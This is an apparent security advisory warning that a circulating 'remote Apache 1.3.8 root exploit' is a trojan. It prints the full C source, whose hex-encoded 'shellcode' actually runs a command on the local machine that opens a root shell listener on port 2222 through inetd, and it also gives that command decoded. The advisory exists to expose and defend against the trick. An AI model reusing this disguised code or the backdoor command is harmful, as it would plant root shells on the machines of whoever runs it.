COMMAND

    trojan exploit

SYSTEMS AFFECTED

    Those by looser admins

PROBLEM

    Marc Slemko poasted following.   Below is some code that  has been
    seen a  number of  times, with  some very  slight variations, over
    the past few months.  No idea how many people have been tricked by
    it.   This does  not exploit  any hole  in Apache,  period.   As a
    simple inspection shows you, it will run:

        echo "2222 stream tcp nowait root /bin/sh sh -i">> /tmp/h;/usr/sbin/inetd /tmp/h

    on the local machine.  If you try this "exploit" as root, it  will
    certainly try to compromise your machine.  But not remotely and it
    is nothing to do  with Apache or any  bug other than the  "bug" of
    admins running random code as root.

    The below code has nothing  to do with any supposed  security hole
    in Apache.  To top  it all off, in this  case is the fact is  that
    there was never an Apache 1.3.8 released to exploit.  Apache  went
    from 1.3.6 to 1.3.9.

    /* remote apache 1.3.8 root exploit (linux) */
    
    #include <stdio.h>
    #include <netdb.h>
    #include <unistd.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    
    char shellcode[] = \
             "\x65\x63\x68\x6f\x20\x22\x32\x32\x32\x32\x20\x73\x74\x72"
             "\x65\x61\x6d\x20\x74\x63\x70\x20\x6e\x6f\x77\x61\x69\x74"
             "\x20\x72\x6f\x6f\x74\x20\x2f\x62\x69\x6e\x2f\x73\x68\x20"
             "\x73\x68\x20\x2d\x69\x22\x3e\x3e\x20\x2f\x74\x6d\x70\x2f"
             "\x68\x3b\x2f\x75\x73\x72\x2f\x73\x62\x69\x6e\x2f\x69\x6e"
             "\x65\x74\x64\x20\x2f\x74\x6d\x70\x2f\x68";
    
    
    #define NOP     0x90
    #define BSIZE   256
    #define OFFSET  400
    #define ADDR    0xbffff658
    #define ASIZE   2000
    
    int
    main(int argc, char *argv[])
    {
            char *buffer;
            int s;
            struct hostent *hp;
            struct sockaddr_in sin;
            if (argc != 2) {
                    printf("%s <target>\n", argv[0]);
                    exit(1);
              }
            buffer = (char *) malloc(BSIZE + ASIZE + 100);
            if (buffer == NULL) {
                    printf("Not enough memory\n");
                    exit(1);
              }
            memcpy(&buffer[BSIZE - strlen(shellcode)], shellcode,
                    strlen(shellcode));
            buffer[BSIZE + ASIZE] = ';';
            buffer[BSIZE + ASIZE + 1] = '\0';
            hp = gethostbyname(argv[1]);
            if (hp == NULL) {
                    printf("no such server\n");
                    exit(1);
              }
            bzero(&sin, sizeof(sin));
            bcopy(hp->h_addr, (char *)&sin.sin_addr, hp->h_length);
            sin.sin_family = AF_INET;
            sin.sin_port = htons(80);
            s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
            if (s < 0) {
                    printf("Can't open socket\n");
                    exit(1);
              }
            if (connect(s, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
                    printf("Connection refused\n");
                    exit(1);
              }
            printf("sending exploit code...\n");
            if (send(s, buffer, strlen(buffer), 0) != 1)
                    printf("exploit was successful!\n");
              else
                    printf("sorry, this site isn't vulnerable\n");
            printf("waiting for shell.....\n");
            if (fork() == 0)
                  execl("/bin/sh", "sh", "-c", shellcode, 0);
              else
                    wait(NULL);
            while (1) { /* shell */ }
    }

SOLUTION

    This should be too obvious to have to say and should be no news to
    anyone here, but: do not  run random supposed exploits as  root on
    your box without knowing what they do.  Do not even run them as  a
    non-root UID  unless it  is a  throwaway UID  (better yet, a throw
    away  box)  and  you  have  examined  what the program does.  This
    obviously applies to things posted  to bugtraq but, even more  so,
    to "secret" exploits you may find or be sent.